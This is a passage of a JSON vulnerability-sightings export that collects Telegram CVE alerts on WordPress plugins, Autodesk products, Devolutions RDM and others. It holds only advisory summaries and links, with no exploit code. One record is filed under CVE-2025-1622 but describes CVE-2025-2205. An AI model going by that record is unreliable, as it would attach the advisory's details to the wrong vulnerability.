"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1636", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7450", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1636\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Exposure of sensitive information in My Personal Credentials password history component in Devolutions Remote Desktop Manager 2024.3.29 and earlier on Windows allows an authenticated user to inadvertently leak the My Personal Credentials in a shared vault via the clear history feature due to faulty business logic.\n\ud83d\udccf Published: 2025-03-13T12:47:13.034Z\n\ud83d\udccf Modified: 2025-03-13T17:28:45.691Z\n\ud83d\udd17 References:\n1. https://devolutions.net/security/advisories/DEVO-2025-0004/", "creation_timestamp": "2025-03-13T17:45:04.000000Z"}, {"uuid": "b6cab582-b42b-4490-9d26-0a49d126f8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1649", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7471", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1649\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A maliciously crafted CATPRODUCT file, when parsed through Autodesk AutoCAD, can force an Uninitialized Variable vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.\n\ud83d\udccf Published: 2025-03-13T16:51:13.073Z\n\ud83d\udccf Modified: 2025-03-13T19:35:53.445Z\n\ud83d\udd17 References:\n1. https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0001", "creation_timestamp": "2025-03-13T19:42:29.000000Z"}, {"uuid": "9ae4d878-557b-4bcb-a679-bfe200e60aa5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1622", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7265", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-2205\n\ud83d\udd25 CVSS Score: 4.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The GDPR Cookie Compliance \u2013 Cookie Banner, Cookie Consent, Cookie Notice \u2013 CCPA, DSGVO, RGPD plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.15.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.\n\ud83d\udccf Published: 2025-03-12T03:21:26.642Z\n\ud83d\udccf Modified: 2025-03-12T03:21:26.642Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/37da32e4-48a1-4830-a47c-c454d60c9811?source=cve\n2. https://wpscan.com/vulnerability/7a903d61-2792-4fe0-a26b-f400f4a3124b/\n3. https://research.cleantalk.org/cve-2025-1622/", "creation_timestamp": "2025-03-12T03:44:33.000000Z"}, {"uuid": "2ed0ae58-5ac4-44c6-b7c1-7eed038520ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1657", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7650", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1657\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Directory Listings WordPress plugin \u2013 uListing plugin for WordPress is vulnerable to unauthorized modification of data and PHP Object Injection due to a missing capability check on the stm_listing_ajax AJAX action in all versions up to, and including, 2.1.7. This makes it possible for authenticated attackers, with subscriber-level access and above, to update post meta data and inject PHP Objects that may be unserialized.\n\ud83d\udccf Published: 2025-03-15T02:22:41.764Z\n\ud83d\udccf Modified: 2025-03-15T02:22:41.764Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/0e70184f-94b6-4742-b99b-6eec9d28f17c?source=cve\n2. https://wordpress.org/plugins/ulisting/", "creation_timestamp": "2025-03-15T02:45:40.000000Z"}, {"uuid": "5bdbff73-156f-455d-9c42-9c8d98045fde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1670", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7653", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1670\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to SQL Injection via the 'cid' parameter in all versions up to, and including, 2.2.16 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-03-15T03:23:25.455Z\n\ud83d\udccf Modified: 2025-03-15T03:23:25.455Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f38c28f4-e73a-4eb2-8bbd-73c849385c4e?source=cve\n2. https://plugins.trac.wordpress.org/browser/wpschoolpress/tags/2.2.16/pages/wpsp-exams.php#L186", "creation_timestamp": "2025-03-15T03:48:58.000000Z"}, {"uuid": "b8303245-95d5-4f02-919f-0e90a99195f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1683", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7348", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1683\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper link resolution before file access in the Nomad module of the 1E Client, in versions prior to 25.3, enables an attacker with local unprivileged access on a Windows system to delete arbitrary files on the device by exploiting symbolic links.\n\ud83d\udccf Published: 2025-03-12T15:25:27.765Z\n\ud83d\udccf Modified: 2025-03-12T16:57:20.746Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2025-1683\n2. https://www.1e.com/trust-security-compliance/cve-info/\n3. https://cwe.mitre.org/data/definitions/59.html\n4. https://capec.mitre.org/data/definitions/27.html", "creation_timestamp": "2025-03-12T17:41:38.000000Z"}, {"uuid": "8818bcf4-2f78-4bc4-8f96-1df82ed06b8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1650", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7474", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1650\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A maliciously crafted CATPRODUCT file, when parsed through Autodesk AutoCAD, can force an Uninitialized Variable vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.\n\ud83d\udccf Published: 2025-03-13T16:51:22.108Z\n\ud83d\udccf Modified: 2025-03-13T19:35:02.511Z\n\ud83d\udd17 References:\n1. https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0001", "creation_timestamp": "2025-03-13T19:42:32.000000Z"}, {"uuid": "8121f8c3-5ec2-487b-8861-bdbf88e2c560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1669", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7656", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1669\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to SQL Injection via the 'addNotify' action in all versions up to, and including, 2.2.16 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with teacher-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n\ud83d\udccf Published: 2025-03-15T03:23:24.332Z\n\ud83d\udccf Modified: 2025-03-15T03:23:24.332Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b7413d90-aed1-4f78-a17c-bed76efb48f8?source=cve\n2. https://plugins.trac.wordpress.org/browser/wpschoolpress/tags/2.2.16/lib/wpsp-ajaxworks.php#L4304", "creation_timestamp": "2025-03-15T03:49:03.000000Z"}, {"uuid": "e61c9b8f-571e-466d-a8d1-1107eab2e006", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1668", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7652", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1668\n\ud83d\udd25 CVSS Score: 4.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N)\n\ud83d\udd39 Description: The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to arbitrary user deletion due to a missing capability check on the wpsp_DeleteUser() function in all versions up to, and including, 2.2.16. This makes it possible for authenticated attackers, with teacher-level access and above, to delete arbitrary user accounts.\n\ud83d\udccf Published: 2025-03-15T03:23:25.806Z\n\ud83d\udccf Modified: 2025-03-15T03:23:25.806Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/fd5638b6-134d-4386-af40-6ac961a915d7?source=cve\n2. https://plugins.trac.wordpress.org/browser/wpschoolpress/tags/2.2.16/lib/wpsp-ajaxworks.php#L22", "creation_timestamp": "2025-03-15T03:48:57.000000Z"}, {"uuid": "300a07a6-ec24-499a-958b-3c2c67dcfe3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1635", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7929", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1635\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Exposure of sensitive information in hub data source export feature in Devolutions Remote Desktop Manager 2024.3.29 and earlier on Windows allows a user exporting a hub data source to include his authenticated session in the export due to faulty business logic.\n\ud83d\udccf Published: 2025-03-13T12:47:06.016Z\n\ud83d\udccf Modified: 2025-03-18T16:30:09.958Z\n\ud83d\udd17 References:\n1. https://devolutions.net/security/advisories/DEVO-2025-0004/", "creation_timestamp": "2025-03-18T16:51:20.000000Z"}, {"uuid": "82a81b00-6e1e-41a2-951d-fa508a455d85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1667", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7654", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1667\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The School Management System \u2013 WPSchoolPress plugin for WordPress is vulnerable to Privilege Escalation due to a missing capability check on the wpsp_UpdateTeacher() function in all versions up to, and including, 2.2.16. This makes it possible for authenticated attackers, with teacher-level access and above, to update arbitrary user details including email which makes it possible to request a password reset and access arbitrary user accounts, including administrators.\n\ud83d\udccf Published: 2025-03-15T03:23:25.085Z\n\ud83d\udccf Modified: 2025-03-15T03:23:25.085Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e54f98bc-c538-4f3c-b24a-6e778a3748ef?source=cve\n2. https://plugins.trac.wordpress.org/browser/wpschoolpress/tags/2.2.16/lib/wpsp-ajaxworks-teacher.php#L544", "creation_timestamp": "2025-03-15T03:48:58.000000Z"}, {"uuid": "ed55f900-3738-47c3-83f9-ceeb6fbec28e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1623", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7701", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1623\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The GDPR Cookie Compliance  WordPress plugin before 4.15.9 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-16T06:00:09.918Z\n\ud83d\udccf Modified: 2025-03-16T06:00:09.918Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/40288fa0-50c6-4e13-9b92-968b060d3bf5/", "creation_timestamp": "2025-03-16T06:46:07.000000Z"}, {"uuid": "eb3d4688-fdfd-4c2f-9c96-c43cd59ed32e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1620", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7704", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1620\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The GDPR Cookie Compliance  WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-16T06:00:08.619Z\n\ud83d\udccf Modified: 2025-03-16T06:00:08.619Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/923db805-92e7-4489-8e57-374a19f817d7/", "creation_timestamp": "2025-03-16T06:46:09.000000Z"}, {"uuid": "fc068e8e-c4f2-45df-adee-7248f9a61a12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1622", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7702", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1622\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The GDPR Cookie Compliance  WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-16T06:00:09.461Z\n\ud83d\udccf Modified: 2025-03-16T06:00:09.461Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/7a903d61-2792-4fe0-a26b-f400f4a3124b/", "creation_timestamp": "2025-03-16T06:46:08.000000Z"}, {"uuid": "fedbe647-2168-48dd-b41f-415d68bd144a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1621", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7703", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1621\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The GDPR Cookie Compliance  WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-16T06:00:09.013Z\n\ud83d\udccf Modified: 2025-03-16T06:00:09.013Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/c30b9631-2024-4081-9cc5-8294a77c5ebb/", "creation_timestamp": "2025-03-16T06:46:09.000000Z"}, {"uuid": "e16466b0-cc5a-4e41-9e20-b9f7b4e7e957", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1619", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7705", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1619\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The GDPR Cookie Compliance  WordPress plugin before 4.15.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-16T06:00:07.989Z\n\ud83d\udccf Modified: 2025-03-16T06:00:07.989Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/ae9bc19d-1634-4501-a258-8c56b2afee88/", "creation_timestamp": "2025-03-16T06:46:13.000000Z"}, {"uuid": "3424aff4-0a6f-431d-8a04-b0b3b62ad5b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1665", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9838", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1665\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Avada (Fusion) Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several of the plugin's shortcodes in all versions up to, and including, 3.11.14 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-04-01T05:22:46.268Z\n\ud83d\udccf Modified: 2025-04-01T05:22:46.268Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/94e373fb-b3f5-4c1b-9eaa-89747af4dc30?source=cve\n2. https://avada.com", "creation_timestamp": "2025-04-01T05:31:49.000000Z"}, {"uuid": "9faf4bf5-8cf4-4b0f-9b7a-e45eb00c7ee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1658", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9896", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1658\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.\n\ud83d\udccf Published: 2025-04-01T12:27:24.602Z\n\ud83d\udccf Modified: 2025-04-01T13:02:13.101Z\n\ud83d\udd17 References:\n1. https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0002", "creation_timestamp": "2025-04-01T13:32:44.000000Z"}, {"uuid": "dff7b893-dfb6-4632-8f10-1a48edb4c56e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1663", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10173", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1663\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The Unlimited Elements For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several widgets in all versions up to, and including, 1.5.142 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-04-03T07:21:22.849Z\n\ud83d\udccf Modified: 2025-04-03T07:21:22.849Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d07c43e0-783a-499b-b172-d058583d0749?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3258648%40unlimited-elements-for-elementor&new=3258648%40unlimited-elements-for-elementor&sfp_email=&sfph_mail=", "creation_timestamp": "2025-04-03T07:34:02.000000Z"}, {"uuid": "21d4a161-f4b5-41c5-8e9f-ee09011c1af3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1652", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/10446", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1652\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A maliciously crafted MODEL file, when parsed through Autodesk AutoCAD, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.\n\ud83d\udccf Published: 2025-03-13T16:51:36.291Z\n\ud83d\udccf Modified: 2025-04-04T12:56:30.626Z\n\ud83d\udd17 References:\n1. https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0001", "creation_timestamp": "2025-04-04T13:35:53.000000Z"}, {"uuid": "7e7edb80-9b61-46eb-911f-fc3b3650d3f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1688", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/11781", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1688\n\ud83d\udd25 CVSS Score: 5.5 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:H/SI:H/SA:H)\n\ud83d\udd39 Description: Milestone Systems has discovered a\nsecurity vulnerability in Milestone XProtect installer that resets system\nconfiguration password after the upgrading from older versions using specific\ninstallers.\n\n\n\nThe system configuration\npassword is an additional, optional protection that is enabled on the\nManagement Server.\n\n\nTo mitigate the issue, we highly recommend updating system configuration password via GUI with a standard procedure.\n\n\n\nAny system upgraded with\n2024 R1 or 2024 R2 release installer is vulnerable to this issue.\n\n\n\nSystems upgraded from 2023\nR3 or older with version 2025 R1 and newer are not affected.\n\ud83d\udccf Published: 2025-04-15T10:13:51.549Z\n\ud83d\udccf Modified: 2025-04-15T10:18:28.979Z\n\ud83d\udd17 References:\n1. https://supportcommunity.milestonesys.com/KBRedir?art=000069835&lang=en_US", "creation_timestamp": "2025-04-15T10:54:39.000000Z"}, {"uuid": "8fa33a56-dae7-42d0-a19e-4ed5d9891c8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1656", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12383", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1656\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A maliciously crafted PDF file, when linked or imported into Autodesk applications, can force a Heap-Based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.\n\ud83d\udccf Published: 2025-04-15T20:56:30.567Z\n\ud83d\udccf Modified: 2025-04-18T03:55:34.994Z\n\ud83d\udd17 References:\n1. https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0003", "creation_timestamp": "2025-04-18T03:57:50.000000Z"}, {"uuid": "4f18d733-6ad5-49c1-af95-b72bc6434ccf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1697", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12505", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1697\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A potential security vulnerability has been identified in the HP Touchpoint Analytics Service for certain HP PC products with versions prior to 4.2.2439. This vulnerability could potentially allow a local attacker to escalate privileges. HP is providing software updates to mitigate this potential vulnerability.\n\ud83d\udccf Published: 2025-04-18T17:43:54.423Z\n\ud83d\udccf Modified: 2025-04-18T17:54:48.735Z\n\ud83d\udd17 References:\n1. https://support.hp.com/us-en/document/ish_12269975-12269997-16/hpsbgn04008", "creation_timestamp": "2025-04-18T17:59:28.000000Z"}, {"uuid": "e373e3d6-e3fc-4d69-be39-67a8da5c3b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1649", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13344", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1649\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A maliciously crafted CATPRODUCT file, when parsed through Autodesk AutoCAD, can force an Uninitialized Variable vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.\n\ud83d\udccf Published: 2025-03-13T16:51:13.073Z\n\ud83d\udccf Modified: 2025-04-24T20:58:46.000Z\n\ud83d\udd17 References:\n1. https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0001", "creation_timestamp": "2025-04-24T21:07:10.000000Z"}, {"uuid": "12108b42-e740-4d6e-8fb3-516c8894928a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1650", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13343", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1650\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A maliciously crafted CATPRODUCT file, when parsed through Autodesk AutoCAD, can force an Uninitialized Variable vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.\n\ud83d\udccf Published: 2025-03-13T16:51:22.108Z\n\ud83d\udccf Modified: 2025-04-24T20:59:12.245Z\n\ud83d\udd17 References:\n1. https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0001", "creation_timestamp": "2025-04-24T21:07:07.000000Z"}, {"uuid": 